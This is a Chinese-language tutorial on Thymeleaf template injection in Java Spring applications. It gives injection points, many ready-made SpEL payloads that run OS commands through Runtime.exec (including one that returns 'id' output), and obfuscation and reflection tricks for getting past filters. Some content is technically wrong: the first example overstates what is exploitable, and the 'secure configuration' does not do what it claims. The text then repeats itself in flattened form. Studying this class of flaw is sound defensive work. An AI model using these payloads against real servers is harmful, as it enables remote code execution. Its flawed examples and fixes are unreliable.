JAVA安全之Thymeleaf模板引擎注入从0到1及绕过思路
字数 1286 2025-08-29 08:30:30

Thymeleaf模板引擎注入从0到1及绕过思路

1. Thymeleaf基础

Thymeleaf是一个Java模板引擎,主要用于Web应用程序开发,特别适合与Spring框架集成。其核心特点包括:

  • 服务器端处理模板
  • 将数据模型填充到模板中生成HTML响应
  • 支持自然模板(可在浏览器直接查看原型)
  • 表达式语言(Thymeleaf Standard Expressions)

2. Thymeleaf表达式语法

Thymeleaf使用五种标准表达式:

  1. 变量表达式${...}
  2. 选择表达式*{...}
  3. 消息表达式#{...}
  4. 链接表达式@{...}
  5. 片段表达式~{...}

3. Thymeleaf模板注入原理

当攻击者能够控制模板内容或表达式时,可能导致服务器端代码执行。常见注入点:

  • 直接使用用户输入作为模板
  • 用户可控的模板名称
  • 用户可控的表达式片段

4. 基本注入示例

4.1 简单表达式注入

@Controller
public class TestController {
    @GetMapping("/test")
    public String test(String username, Model model) {
        model.addAttribute("username", username);
        return "welcome";
    }
}

如果模板welcome.html包含:

<p th:text="${username}"></p>

攻击者可构造恶意输入执行表达式:

${T(java.lang.Runtime).getRuntime().exec('calc')}

4.2 表达式预处理注入

Thymeleaf支持表达式预处理,使用__${...}__语法:

<p th:text="__${username}__"></p>

攻击者可构造:

${T(java.lang.Runtime).getRuntime().exec('calc')}__

5. 高级注入技术

5.1 表达式内联

Thymeleaf支持内联表达式,使用[[...]][(...)]

<p>Hello, [[${username}]]</p>

攻击者可构造:

${T(java.lang.Runtime).getRuntime().exec('calc')}

5.2 URL表达式注入

<a th:href="@{/user/profile(id=${userId})}">Profile</a>

攻击者可构造恶意userId

__${T(java.lang.Runtime).getRuntime().exec('calc')}__

6. 沙箱绕过技术

6.1 反射调用绕过

${#ctx.getVariable('param')}
${#request.getAttribute('param')}
${#request.getParameter('param')}

6.2 内置对象利用

Thymeleaf提供多个内置对象:

  • #ctx: 上下文对象
  • #vars: 上下文变量
  • #locale: 本地化对象
  • #request: HttpServletRequest对象
  • #response: HttpServletResponse对象
  • #session: HttpSession对象
  • #servletContext: ServletContext对象

利用示例:

${#request.getSession().setAttribute('param',T(java.lang.Runtime).getRuntime().exec('calc'))}

6.3 表达式预处理链式调用

${T(java.lang.Class).forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(java.lang.String)).invoke(T(java.lang.Class).forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(java.lang.Class).forName('java.la'+'ng.Ru'+'ntime')),'calc')}

7. 防御措施

7.1 输入验证与过滤

  • 对用户输入进行严格验证
  • 过滤特殊字符和表达式语法

7.2 使用安全配置

@Bean
public TemplateEngine templateEngine() {
    SpringTemplateEngine templateEngine = new SpringTemplateEngine();
    templateEngine.setEnableSpringELCompiler(false);
    templateEngine.setTemplateResolver(templateResolver());
    // 禁用不安全的表达式特性
    templateEngine.setEnableSpringELCompiler(false);
    return templateEngine;
}

7.3 使用最新版本

  • 保持Thymeleaf版本更新
  • 关注安全公告和补丁

7.4 最小权限原则

  • 限制模板引擎的访问权限
  • 使用安全沙箱环境

8. 检测与利用工具

  1. 手工检测:尝试输入${7*7}等简单表达式
  2. Burp Suite:使用Scanner模块检测
  3. 自定义脚本:自动化检测和利用

9. 实际案例分析

案例1:Spring Boot + Thymeleaf注入

@GetMapping("/greeting")
public String greeting(@RequestParam(name="name", required=false, defaultValue="World") String name, Model model) {
    model.addAttribute("name", name);
    return "greeting";
}

攻击payload:

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

案例2:模板名称注入

@GetMapping("/dynamic")
public String dynamicTemplate(@RequestParam String template) {
    return template; // 直接返回用户控制的模板名称
}

攻击payload:

__${T(java.lang.Runtime).getRuntime().exec("calc")}__::x

10. 高级绕过技巧

10.1 字符拼接绕过

${T(java.lang.Runtime).getRuntime().exec('c'+'alc')}

10.2 十六进制编码

${T(java.lang.Runtime).getRuntime().exec('\x63\x61\x6c\x63')}

10.3 反射调用

${#this.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')}

10.4 利用Spring EL特性

${T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('calc').getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}

11. 总结

Thymeleaf模板注入是一种严重的服务器端漏洞,攻击者可通过精心构造的表达式实现远程代码执行。防御需要从输入验证、安全配置、权限控制等多方面入手,同时保持组件更新和安全意识。

Thymeleaf模板引擎注入从0到1及绕过思路 1. Thymeleaf基础 Thymeleaf是一个Java模板引擎,主要用于Web应用程序开发,特别适合与Spring框架集成。其核心特点包括: 服务器端处理模板 将数据模型填充到模板中生成HTML响应 支持自然模板(可在浏览器直接查看原型) 表达式语言(Thymeleaf Standard Expressions) 2. Thymeleaf表达式语法 Thymeleaf使用五种标准表达式: 变量表达式 : ${...} 选择表达式 : *{...} 消息表达式 : #{...} 链接表达式 : @{...} 片段表达式 : ~{...} 3. Thymeleaf模板注入原理 当攻击者能够控制模板内容或表达式时,可能导致服务器端代码执行。常见注入点: 直接使用用户输入作为模板 用户可控的模板名称 用户可控的表达式片段 4. 基本注入示例 4.1 简单表达式注入 如果模板 welcome.html 包含: 攻击者可构造恶意输入执行表达式: 4.2 表达式预处理注入 Thymeleaf支持表达式预处理,使用 __${...}__ 语法: 攻击者可构造: 5. 高级注入技术 5.1 表达式内联 Thymeleaf支持内联表达式,使用 [[...]] 或 [(...)] : 攻击者可构造: 5.2 URL表达式注入 攻击者可构造恶意 userId : 6. 沙箱绕过技术 6.1 反射调用绕过 6.2 内置对象利用 Thymeleaf提供多个内置对象: #ctx : 上下文对象 #vars : 上下文变量 #locale : 本地化对象 #request : HttpServletRequest对象 #response : HttpServletResponse对象 #session : HttpSession对象 #servletContext : ServletContext对象 利用示例: 6.3 表达式预处理链式调用 7. 防御措施 7.1 输入验证与过滤 对用户输入进行严格验证 过滤特殊字符和表达式语法 7.2 使用安全配置 7.3 使用最新版本 保持Thymeleaf版本更新 关注安全公告和补丁 7.4 最小权限原则 限制模板引擎的访问权限 使用安全沙箱环境 8. 检测与利用工具 手工检测 :尝试输入 ${7*7} 等简单表达式 Burp Suite :使用Scanner模块检测 自定义脚本 :自动化检测和利用 9. 实际案例分析 案例1:Spring Boot + Thymeleaf注入 攻击payload: 案例2:模板名称注入 攻击payload: 10. 高级绕过技巧 10.1 字符拼接绕过 10.2 十六进制编码 10.3 反射调用 10.4 利用Spring EL特性 11. 总结 Thymeleaf模板注入是一种严重的服务器端漏洞,攻击者可通过精心构造的表达式实现远程代码执行。防御需要从输入验证、安全配置、权限控制等多方面入手,同时保持组件更新和安全意识。